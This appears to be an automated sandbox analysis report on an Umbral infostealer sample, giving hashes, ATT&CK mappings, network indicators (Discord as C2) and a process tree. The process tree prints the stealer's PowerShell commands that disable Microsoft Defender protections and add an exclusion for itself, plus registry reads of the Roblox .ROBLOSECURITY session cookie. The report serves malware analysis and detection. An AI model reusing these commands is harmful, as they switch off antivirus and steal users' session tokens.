umbral | 80e1636664daed3c4c919584a40b1404807ff859fcb98267abdbe487c9a16c1f

Analysis

max time kernel
145s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
20/02/2024, 01:02

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General

Target
sinfulsassist.exe
Size 232KB
Sample240220-bd4tqsha47
SHA256 80e1636664daed3c4c919584a40b1404807ff859fcb98267abdbe487c9a16c1f
MD5 6bd66ae3d6ad55de0d3bfd026ab642f8
SHA1 b9c03630edcb053a0f14970ea7085a8a2a285d8a
SHA512 c776fe3939329bfd47c447d069f89976acedb90853ab3d16386afab6123c7f1dfd9aadbbefa458226c4065452fdfd6d5dfc0a8162950d65818d7039ab92513fa
SSDEEP 6144:tloZMArIkd8g+EtXHkv/iD4xR8KfVealwgRj++71Nb8e1mRi:voZHL+EP8xR8KfVealwgRj++7X3
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/5044-0-0x000002348C350000-0x000002348C390000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	sinfulsassist.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
31	discord.com
32	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1436	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4240	powershell.exe
4240	powershell.exe
220	powershell.exe
220	powershell.exe
4940	powershell.exe
4940	powershell.exe
2288	powershell.exe
2288	powershell.exe
3388	powershell.exe
3388	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5044	sinfulsassist.exe
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeDebugPrivilege	220	powershell.exe
Token: SeDebugPrivilege	4940	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeIncreaseQuotaPrivilege	2688	wmic.exe
Token: SeSecurityPrivilege	2688	wmic.exe
Token: SeTakeOwnershipPrivilege	2688	wmic.exe
Token: SeLoadDriverPrivilege	2688	wmic.exe
Token: SeSystemProfilePrivilege	2688	wmic.exe
Token: SeSystemtimePrivilege	2688	wmic.exe
Token: SeProfSingleProcessPrivilege	2688	wmic.exe
Token: SeIncBasePriorityPrivilege	2688	wmic.exe
Token: SeCreatePagefilePrivilege	2688	wmic.exe
Token: SeBackupPrivilege	2688	wmic.exe
Token: SeRestorePrivilege	2688	wmic.exe
Token: SeShutdownPrivilege	2688	wmic.exe
Token: SeDebugPrivilege	2688	wmic.exe
Token: SeSystemEnvironmentPrivilege	2688	wmic.exe
Token: SeRemoteShutdownPrivilege	2688	wmic.exe
Token: SeUndockPrivilege	2688	wmic.exe
Token: SeManageVolumePrivilege	2688	wmic.exe
Token: 33	2688	wmic.exe
Token: 34	2688	wmic.exe
Token: 35	2688	wmic.exe
Token: 36	2688	wmic.exe
Token: SeIncreaseQuotaPrivilege	2688	wmic.exe
Token: SeSecurityPrivilege	2688	wmic.exe
Token: SeTakeOwnershipPrivilege	2688	wmic.exe
Token: SeLoadDriverPrivilege	2688	wmic.exe
Token: SeSystemProfilePrivilege	2688	wmic.exe
Token: SeSystemtimePrivilege	2688	wmic.exe
Token: SeProfSingleProcessPrivilege	2688	wmic.exe
Token: SeIncBasePriorityPrivilege	2688	wmic.exe
Token: SeCreatePagefilePrivilege	2688	wmic.exe
Token: SeBackupPrivilege	2688	wmic.exe
Token: SeRestorePrivilege	2688	wmic.exe
Token: SeShutdownPrivilege	2688	wmic.exe
Token: SeDebugPrivilege	2688	wmic.exe
Token: SeSystemEnvironmentPrivilege	2688	wmic.exe
Token: SeRemoteShutdownPrivilege	2688	wmic.exe
Token: SeUndockPrivilege	2688	wmic.exe
Token: SeManageVolumePrivilege	2688	wmic.exe
Token: 33	2688	wmic.exe
Token: 34	2688	wmic.exe
Token: 35	2688	wmic.exe
Token: 36	2688	wmic.exe
Token: SeIncreaseQuotaPrivilege	2880	wmic.exe
Token: SeSecurityPrivilege	2880	wmic.exe
Token: SeTakeOwnershipPrivilege	2880	wmic.exe
Token: SeLoadDriverPrivilege	2880	wmic.exe
Token: SeSystemProfilePrivilege	2880	wmic.exe
Token: SeSystemtimePrivilege	2880	wmic.exe
Token: SeProfSingleProcessPrivilege	2880	wmic.exe
Token: SeIncBasePriorityPrivilege	2880	wmic.exe
Token: SeCreatePagefilePrivilege	2880	wmic.exe
Token: SeBackupPrivilege	2880	wmic.exe
Token: SeRestorePrivilege	2880	wmic.exe
Token: SeShutdownPrivilege	2880	wmic.exe
Token: SeDebugPrivilege	2880	wmic.exe
Token: SeSystemEnvironmentPrivilege	2880	wmic.exe
Token: SeRemoteShutdownPrivilege	2880	wmic.exe
Token: SeUndockPrivilege	2880	wmic.exe
Token: SeManageVolumePrivilege	2880	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 5044 wrote to memory of 4240	5044	sinfulsassist.exe	86
PID 5044 wrote to memory of 4240	5044	sinfulsassist.exe	86
PID 5044 wrote to memory of 220	5044	sinfulsassist.exe	88
PID 5044 wrote to memory of 220	5044	sinfulsassist.exe	88
PID 5044 wrote to memory of 4940	5044	sinfulsassist.exe	90
PID 5044 wrote to memory of 4940	5044	sinfulsassist.exe	90
PID 5044 wrote to memory of 2288	5044	sinfulsassist.exe	92
PID 5044 wrote to memory of 2288	5044	sinfulsassist.exe	92
PID 5044 wrote to memory of 2688	5044	sinfulsassist.exe	95
PID 5044 wrote to memory of 2688	5044	sinfulsassist.exe	95
PID 5044 wrote to memory of 2880	5044	sinfulsassist.exe	97
PID 5044 wrote to memory of 2880	5044	sinfulsassist.exe	97
PID 5044 wrote to memory of 3108	5044	sinfulsassist.exe	99
PID 5044 wrote to memory of 3108	5044	sinfulsassist.exe	99
PID 5044 wrote to memory of 3388	5044	sinfulsassist.exe	101
PID 5044 wrote to memory of 3388	5044	sinfulsassist.exe	101
PID 5044 wrote to memory of 1436	5044	sinfulsassist.exe	104
PID 5044 wrote to memory of 1436	5044	sinfulsassist.exe	104

C:\Users\Admin\AppData\Local\Temp\sinfulsassist.exe
"C:\Users\Admin\AppData\Local\Temp\sinfulsassist.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sinfulsassist.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2288
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2880
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3388
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a6066c1711139e9e4844faf543d5818a4613d6c1baeb8040aaca15c19ca3339f
MD5 5423eae8a66353bd7e5a09531a03c014
SHA1 3ca22804ba343bd0dc2b2124990b082c024b7b3c
SHA512 20e952424eb88f8268510c6b1de19ce796a624a19a4460fcaab915993a5c324c176e56d66eb8735a2c81731077868c6018ec938ac7215d739c9fa96a1182f515
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705
MD5 c9b6705519e1eef08f86c4ba5f4286f3
SHA1 6c6b179e452ecee2673a1d4fe128f1c06f70577f
SHA512 6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
MD5 276798eeb29a49dc6e199768bc9c2e71
SHA1 5fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA512 0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
MD5 SHA1 SHA512

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__PSScriptPolicyTest_kibk2ohz.h2a.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kibk2ohz.h2a.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/220-22-0x00000264E9FE0000-0x00000264E9FF0000-memory.dmp

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memory/220-35-0x00007FF8445E0000-0x00007FF8450A1000-memory.dmp

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memory/220-33-0x00000264E9FE0000-0x00000264E9FF0000-memory.dmp

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memory/220-20-0x00007FF8445E0000-0x00007FF8450A1000-memory.dmp

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memory/220-21-0x00000264E9FE0000-0x00000264E9FF0000-memory.dmp

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memory/2288-78-0x0000020FCB0D0000-0x0000020FCB0E0000-memory.dmp

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memory/2288-85-0x00007FF8445E0000-0x00007FF8450A1000-memory.dmp

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memory/2288-81-0x0000020FCB0D0000-0x0000020FCB0E0000-memory.dmp

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memory/2288-70-0x00007FF8445E0000-0x00007FF8450A1000-memory.dmp

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memory/3388-91-0x00007FF8445E0000-0x00007FF8450A1000-memory.dmp

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memory/3388-104-0x00007FF8445E0000-0x00007FF8450A1000-memory.dmp

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memory/3388-92-0x0000021D386E0000-0x0000021D386F0000-memory.dmp

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memory/4240-14-0x0000023F7A7A0000-0x0000023F7A7B0000-memory.dmp

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memory/4240-15-0x0000023F7A7A0000-0x0000023F7A7B0000-memory.dmp

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memory/4240-13-0x00007FF8445E0000-0x00007FF8450A1000-memory.dmp

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memory/4240-18-0x00007FF8445E0000-0x00007FF8450A1000-memory.dmp

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memory/4240-8-0x0000023F7A8E0000-0x0000023F7A902000-memory.dmp

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memory/4940-42-0x0000028839BB0000-0x0000028839BC0000-memory.dmp

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memory/4940-68-0x00007FF8445E0000-0x00007FF8450A1000-memory.dmp

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memory/4940-66-0x0000028839BB0000-0x0000028839BC0000-memory.dmp

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memory/4940-43-0x0000028839BB0000-0x0000028839BC0000-memory.dmp

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memory/4940-41-0x00007FF8445E0000-0x00007FF8450A1000-memory.dmp

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memory/5044-40-0x000002348DFD0000-0x000002348DFEE000-memory.dmp

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memory/5044-2-0x000002348E050000-0x000002348E060000-memory.dmp

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memory/5044-83-0x000002348E050000-0x000002348E060000-memory.dmp

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memory/5044-0-0x000002348C350000-0x000002348C390000-memory.dmp

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memory/5044-87-0x000002348E000000-0x000002348E00A000-memory.dmp

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memory/5044-88-0x000002348E030000-0x000002348E042000-memory.dmp

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memory/5044-69-0x00007FF8445E0000-0x00007FF8450A1000-memory.dmp

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memory/5044-39-0x00000234A6B20000-0x00000234A6B70000-memory.dmp

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memory/5044-1-0x00007FF8445E0000-0x00007FF8450A1000-memory.dmp

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memory/5044-38-0x000002348E180000-0x000002348E1F6000-memory.dmp

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memory/5044-109-0x00007FF8445E0000-0x00007FF8450A1000-memory.dmp

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